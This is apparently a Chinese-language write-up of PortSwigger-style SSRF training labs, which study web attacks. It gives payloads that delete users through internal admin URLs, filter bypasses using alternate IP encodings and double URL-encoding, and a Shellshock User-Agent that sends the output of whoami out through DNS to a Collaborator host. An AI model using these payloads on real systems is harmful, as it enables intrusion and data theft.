1.针对本地服务器的基本SSRF

库存查询按钮处,点击时会将url作为参数进行查询

1.1

访问:http://localhost

发现存在/admin目录

1.2

访问:http://localhost/admin

发现存在删除用户接口

1.3

访问:http://localhost/admin/delete?username=wiener即可删除用户

2.针对另一个后端系统的基本SSRF

利用ssrf进行内网探测

使用bp intruder爆破内网8080端口,得到一个和其他访问不一样的status。说明该ip8080端口存在服务

2.1

访问admin目录

2.2

发现删除用户的连接

访问:http://192.168.0.122:8080/admin/delete?username=carlos

即可删除carlos用户

3.具有基于黑名单的输入过滤器的SSRF

黑名单过滤了:

127.0.0.1 和localhost

  1. 可以使用代替ip进行绕过:
1
例如2130706433,017700000001,或127.1
  1. 注册域名,解析为127.0.0.1

burp提供的spoofed.burpcollaborator.net即可解析为127.0.0.1

3.1

访问:http://spoofed.burpcollaborator.net

3.2

访问:/admin,发现admin在黑名单中,这里可以采用大小写和url编码绕过(这里需要进行两次编码,因为bp发出时进行了一次解码,服务器再发出时又进行了一次解码)

3.3

发现用户删除链接,访问http://spoofed.burpcollaborator.net/%25%36%31%25%36%34%25%36%64%25%36%39%25%36%65//admin/delete?username=[carlos](http://192.168.0.122:8080/admin/delete?username=carlos)即可删除

4.具有基于白名单的输入过滤器的SSRF

ssrf访问:http://localhost

报错并,提示只能访问stock.weliketoshop.net

此时尝试绕过该白名单限制:

最终看了wp才发现绕过方式:

1
http://localhost%2523@stock.weliketoshop.net

@前面的url编码时二次编码的#

访问:

1
http://localhost%2523@stock.weliketoshop.net/admin/delete?username=carlos

5.带外检测的盲SSRF

更具提示:网页会在加载产品页面时获取Referer标头中指定的URL

更改referer标头为burp collaborator客户端网址

5.1

发送请求:

burp collaborator客户端收到请求,证明存在漏洞

5.2

6.使用Shellshock进行盲SSRF

发现无法回显的ssrf。获取敏感信息证明危害:

首先安装:Collaborator Everywhere插件

然后将攻击的域名设置到范围中,这样Collaborator Everywhere才能对流量进行修改

6.1

再次抓包:

6.2

Collaborator Everywhere已经添加了许多Shellshock paylod

对目标内网进行探测,并获取主机名:

更改user-agent为:

1
() { :; }; /usr/bin/nslookup $(whoami).t60giu97fmygladioymhxtjyxp3fr4.burpcollaborator.net

将域名更改为Burp Collaborator中的域名

更改Referer为:

1
Referer: http://192.168.0.§1§:8080

对内网服务进行探测。点击开始攻击。几秒之后机会返回内网机器dns查询,并带上自己的主机名

6.3